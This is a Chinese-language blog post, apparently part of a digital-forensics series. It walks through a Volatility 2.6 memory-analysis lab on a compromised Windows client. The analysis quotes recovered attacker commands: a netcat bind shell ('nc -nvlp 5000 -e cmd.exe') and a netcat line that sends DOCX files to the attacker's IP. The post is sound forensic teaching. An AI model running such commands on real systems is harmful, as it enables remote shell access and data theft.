iT邦幫忙

2026 iThome 鐵人賽

DAY 10
1
Security

那些留在電腦裡的證據:從零開始認識數位鑑識系列 第 10 篇

[DAY 10] Volatility 2.6 分析案例

  • 分享至 

  • xImage
  •  

以下案例來自先前數位鑑識課程中的 Memory Forensics 實作題目。

這次的情境是一台 Client Computer 遭到入侵,並且有資料被外傳。

需要確認:

  1. 可疑 IP、Network Port,以及相關 Process
  2. 被外傳的 .docx 檔案
  3. 跟這次資料外洩有關的 Process 與其他檔案

確認 Profile

首先使用 imageinfo 查看 Memory Image:

volatility_2.6_win64_standalone.exe -f memdump.mem imageinfo

https://ithelp.ithome.com.tw/upload/images/20260924/20146591T17odP6aAg.png

可以看到 Volatility 提供了多個 Suggested Profile:

Win8SP0x64
Win81U1x64
Win2012R2x64_18340
...

Suggested Profile 不代表第一個一定正確,因此實際分析時還需要搭配不同 Plugin 的執行結果確認。

如果出現 Process Name 亂碼、Plugin 沒有結果,或其他明顯不合理的輸出,就要再嘗試其他 Suggested Profile,這次一開始主要使用 --profile = Win8SP0x64。

從 Network Connection 找異常

接著使用 netscan 查看 Memory 中留下的 Network Connection。

volatility_2.6_win64_standalone.exe -f memdump.mem --profile=Win8SP0x64 netscan

https://ithelp.ithome.com.tw/upload/images/20260924/20146591sedkymhzJF.png

其中有一筆值得注意的連線:

Local Address                Foreign Address
192.168.254.161:5000    →    192.168.254.129:60302

State: ESTABLISHED
PID: -1

代表在 Memory Capture 時,兩台主機之間存在一條 Established TCP Connection。

這裡 PID 顯示為 -1,代表 Volatility 沒有從這個 Network Object 成功解析出 Owner Process,不能只靠這個結果直接判斷 Process 被 Rootkit 隱藏,因此還要繼續從其他 Artifact 往下追。

另外使用 NetworkMiner 查看封包後,可以看到 192.168.254.129 被 Fingerprint 為 Kali/Linux。

不過 Kali/Linux 本身不能證明這台主機就是攻擊者。

真正重要的是後面還能看到它和受害機之間的控制連線及檔案傳輸。

Wireshark 看實際的 Network Traffic

前面使用 Bulk Extractor 產生的 packets.pcap,可以再丟進 Wireshark 分析。

https://ithelp.ithome.com.tw/upload/images/20260924/20146591l1bJGitv05.png

封包中可以看到:

192.168.254.129:60302
        →
192.168.254.161:5000

表示 192.168.254.129 主動連向 192.168.254.161 的 Port 5000。

https://ithelp.ithome.com.tw/upload/images/20260924/20146591aWS3YMvx6D.png

接著查看 Packet Payload,可以看到:

nc -nv 192.168.254.129 5001 < E:\Work\W-199800000312-011.docx

另外還能找到

W-199800001111-022.docx
W-199800000312-011.docx
W-200100001003-013.docx

也就是受害機透過 Netcat,把這三個 DOCX 傳向:

192.168.254.129:5001

也可以利用 Volatility 的 filescan,確認這些 DOCX File Object 曾存在於 Memory 中。

在這裡一開始用 --profile = Win8SP0x64 搜尋 .docx 時沒有結果,改用 Win81U1x64 才成功找到檔案。

volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] filescan | findstr /I /C:".docx"

https://ithelp.ithome.com.tw/upload/images/20260924/201465912NCUo5opfC.png

所以目前已經可以把資料外傳方向整理成:

Victim
192.168.254.161
        ↓
DOCX
        ↓
192.168.254.129:5001
Attacker

從 Process 往下追

使用 psxview 可以從不同方式比較 Memory 中的 Process。

volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] psxview

https://ithelp.ithome.com.tw/upload/images/20260924/20146591yriT9sCepF.png

其中可以看到系統中存在兩個 cmd.exe,PID 分別為:

cmd.exe    PID 300
cmd.exe    PID 1608

光是有兩個 cmd.exe 並不能直接判斷哪個有問題,所以再利用 pstree 查看 Parent / Child Relationship。

volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] pstree

https://ithelp.ithome.com.tw/upload/images/20260924/20146591q45rjn1S4i.png

結果可以看到:

explorer.exe        PID 2388
└─ cmd.exe          PID 1608
   ├─ conhost.exe   PID 1832
   └─ nc.exe        PID 2420
      └─ cmd.exe    PID 300

這時 PID 300 的 cmd.exe 就值得特別注意。

因為它並不是單純由使用者直接開啟,而是:

cmd.exe
   ↓
nc.exe
   ↓
cmd.exe

用 cmdline 確認 nc.exe 到底做了什麼

最後使用:

volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] cmdline

https://ithelp.ithome.com.tw/upload/images/20260924/20146591dUTACl1fE7.png

可以看到 PID 2420 的 nc.exe 啟動參數:

nc -nvlp 5000 -e cmd.exe

拆開來看:

-n              不做 DNS Resolution
-v              Verbose
-l              Listen Mode
-p 5000         在 Port 5000 Listen
-e cmd.exe      連線建立後執行 cmd.exe

也就是:

nc.exe PID 2420
      ↓
Listen TCP/5000
      ↓
192.168.254.129:60302 連入
      ↓
啟動 cmd.exe PID 300

因此這裡並不是 Reverse Shell,而是 Bind Shell。

攻擊者可以透過 192.168.254.161:5000 連入受害機,並取得 cmd.exe 的遠端命令介面。

而另一條 Port 5001 的連線,則被用來將 DOCX 傳回 192.168.254.129。

最後整個事件可以串成:

192.168.254.129
       │
       │ TCP 60302 → 5000
       ▼
nc.exe PID 2420
       │
       ▼
cmd.exe PID 300
       │
       │ 執行檔案傳輸指令
       ▼
nc → 192.168.254.129:5001
       │
       ▼
W-199800001111-022.docx
W-199800000312-011.docx
W-200100001003-013.docx

上一篇
[DAY 09] Memory 裡到底在跑什麼?Volatility 2.6 記憶體分析
下一篇
[DAY 11] 不用 Profile 了!用 Volatility 3 分析 Memory
系列文
那些留在電腦裡的證據:從零開始認識數位鑑識 共 18 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言